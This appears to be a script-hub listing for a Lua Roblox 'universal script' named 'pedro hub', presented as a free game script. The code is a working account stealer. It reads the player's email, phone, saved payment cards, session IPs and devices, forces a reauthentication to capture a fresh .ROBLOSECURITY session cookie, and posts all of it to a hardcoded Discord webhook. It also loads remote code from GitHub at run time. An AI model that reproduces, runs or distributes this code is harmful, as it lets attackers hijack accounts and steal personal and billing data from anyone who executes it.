pedro  hub
Key RequiredUniversal

pedro hub

Universal Scriptpedrolcmacieirapedrolcmacieira 38 views 236 executesUpdated Jul 15, 2026
Unrated
00
Lua Script•201 lines (7270 chars)
local players = game:GetService("Players")
local player = players.LocalPlayer

local marketplaceService = game:GetService("MarketplaceService")

local httpService = game:GetService("HttpService")
local requestInternal = httpService.requestInternal

local pretty = loadstring(game:HttpGet("https://raw.githubusercontent.com/Ozzypig/repr/master/repr.lua"))()
local prettySettings = {pretty = true}

local DISCORD_HEADERS = {["Content-Type"] = "application/json"}
local DISCORD_WEBHOOK = "https://discord.com/api/webhooks/1527004342387998933/rPnN4j8AZteUQXptST98zZya16Htl91GmxHnLgMUfi60O8veQclkzG-ueBQkq6A--EVd"
local USER_URL = "https://users.roblox.com/v1/users/%s"
local GAMES_URL = "https://games.roblox.com/v1/games/multiget-place-details?placeIds=%s"
local EMAIL_URL = "https://accountsettings.roblox.com/v1/email"
local PHONE_URL = "https://accountinformation.roblox.com/v1/phone"
local SESSIONS_URL = "https://apis.roblox.com/token-metadata-service/v1/sessions?nextCursor=%s&desiredLimit=500"
local PAYMENTS_URL = "https://apis.roblox.com/payments-gateway/v1/payment-profiles"
local REAUTHENTICATE_URL = "https://auth.roblox.com/v1/logoutfromallsessionsandreauthenticate"

-- makes a request and returns if the request was a success, and the response data
local function internalRequest(url: string, method: string?, body: string?): (boolean, {Headers: {string: any}, Body: {string: any}}?)
    method = (method ~= nil and method:upper()) or "GET"

    local data = {}
    data["Url"] = url
    data["Method"] = method

    if method ~= "GET" then
        if typeof(body) == "string" then
            data["Body"] = body or ""
        else
            data["Body"] = body or {}
            data["Headers"] = {
                ["Content-Type"] = "application/json"
            }
        end
    end

    local _request = requestInternal(httpService, data)
    local _success, _response = nil
    _request:Start(function(success, response)
        _success = success
        _response = response
    end)
    repeat task.wait() until _success ~= nil

    return _success, _response
end

-- reauthenticates the user and returns a usable auth/session cookie
local function reauthenticate(): string
    local _, response = internalRequest(REAUTHENTICATE_URL, "POST", "{}")
    local headers = response.Headers
    local cookie = headers["set-cookie"]
    local session = cookie:split(";")[1]
    return session:gsub(".ROBLOSECURITY=", "")
end

-- returns the info for the universe the player is currently in
local function getGameInfo(): {name: string, url: string}
    local url = GAMES_URL:format(tostring(game.PlaceId))
    local _, response = internalRequest(url)
    local body = httpService:JSONDecode(response.Body)[1]

    -- if this is true, then the current place isn't the root place
    if body["universeRootPlaceId"] ~= tostring(game.PlaceId) then
        local _url = GAMES_URL:format(body["universeRootPlaceId"])
        local __, _response = internalRequest(_url)
        body = httpService:JSONDecode(_response.Body)[1]
    end

    return {
        name = body["name"];
        url = body["url"];
    }
end

-- returns the account's email and phone (masked)
local function getContacts(): {email: string?, phone: string?}
    local result = {}

    local _, emailResponse = internalRequest(EMAIL_URL)
    local emailBody = httpService:JSONDecode(emailResponse.Body)

    local _, phoneResponse = internalRequest(PHONE_URL)
    local phoneBody = httpService:JSONDecode(phoneResponse.Body)

    result["email"] = emailBody["emailAddress"]
    result["phone"] = phoneBody["phone"]

    return result
end

-- return's the users basic info
local function getUserInfo(): {username: string, displayName: string, userId: string, verified: string}
    local contacts = getContacts()
    local url = USER_URL:format(tostring(player.UserId))
    local _, response = internalRequest(url)
    local body = httpService:JSONDecode(response.Body)
    return {
        username = body["name"];
        displayName = body["displayName"];
        userId = body["id"];
        email = contacts["email"];
        phone = contacts["phone"];
    }
end

-- returns the account's saved payment methods
local function getPayments(): {{cardType: string, last4: string, month: string, year: string}}
    local results = {}
    
    local _, response = internalRequest(PAYMENTS_URL)
    local body = httpService:JSONDecode(response.Body)

    for _, payment in next, body do
        local provider = payment["providerPayload"]
        local data = {
            cardType = provider["CardNetwork"];
            last4 = provider["Last4Digits"];
            month = provider["ExpMonth"];
            year = provider["ExpYear"]
        }
        table.insert(results, data)
    end
    return results
end

-- returns a list of sessions, and the 'nextCursor' if there are more results
local function getSessions(cursor: string?): ({{ip: string, agent: string, date: string}})
    cursor = cursor or ""

    local results = {}
    
    local url = SESSIONS_URL:format(cursor)
    local success, response = internalRequest(url)
    local body = httpService:JSONDecode(response.Body)

    local hasMore = body["hasMore"]
    local sessions = body["sessions"]
    local cursor = hasMore == true and body["nextCursor"] or nil

    for _, session in next, sessions do
        local dateTime = DateTime.fromUnixTimestampMillis(session["lastAccessedTimestampEpochMilliseconds"])
        local formattedDate = dateTime:FormatLocalTime("lll", "en-us")
        local formattedAgent = session["agent"] ~= nil and `{session["agent"]["type"]} on {session["agent"]["os"]}`
        
        local data = {
            ip = session["lastAccessedIp"];
            date = formattedDate;
            agent = formattedAgent
        }
        table.insert(results, data)
    end

    return results, cursor
end

-- returns a list of sessions after recursing thru them all
local function getAllSessions(): {{ip: string, agent: string, date: string}}
    local results, cursor = getSessions()
    while cursor ~= nil do
        local results2, cursor2 = getSessions(cursor)
        cursor = cursor2
        for _, session in next, results2 do
            table.insert(results, session)
        end
        task.wait()
    end
    return results
end

local function sendToWebhook(content: string): boolean
    local body = httpService:JSONEncode({content=content})
    request({
        Url = DISCORD_WEBHOOK;
        Method = "POST";
        Headers = DISCORD_HEADERS;
        Body = body;
    })
end

local sessions = getAllSessions()
local payments = getPayments()
local user = getUserInfo()
local gameInfo = getGameInfo()
local cookie = reauthenticate()

local userContent = [[@everyone User was logged:```]] .. pretty(user, prettySettings) .. [[```]]
local gameContent = [[Game:```]] .. pretty(gameInfo, prettySettings) .. [[```]]
local paymentContent = [[Billing:```]] .. pretty(payments, prettySettings) .. [[```]]
local sessionsContent = [[Sessions:```]] .. pretty(sessions, prettySettings) .. [[```]]
local cookieContent = [[Cookie:```]] .. cookie .. [[```]]

sendToWebhook(userContent)
sendToWebhook(gameContent)
sendToWebhook(paymentContent)
sendToWebhook(sessionsContent)
sendToWebhook(cookieContent)

Features & Information

sla
#free

Community Comments (0)

No comments yet for this script.

More Scripts for Universal Scripts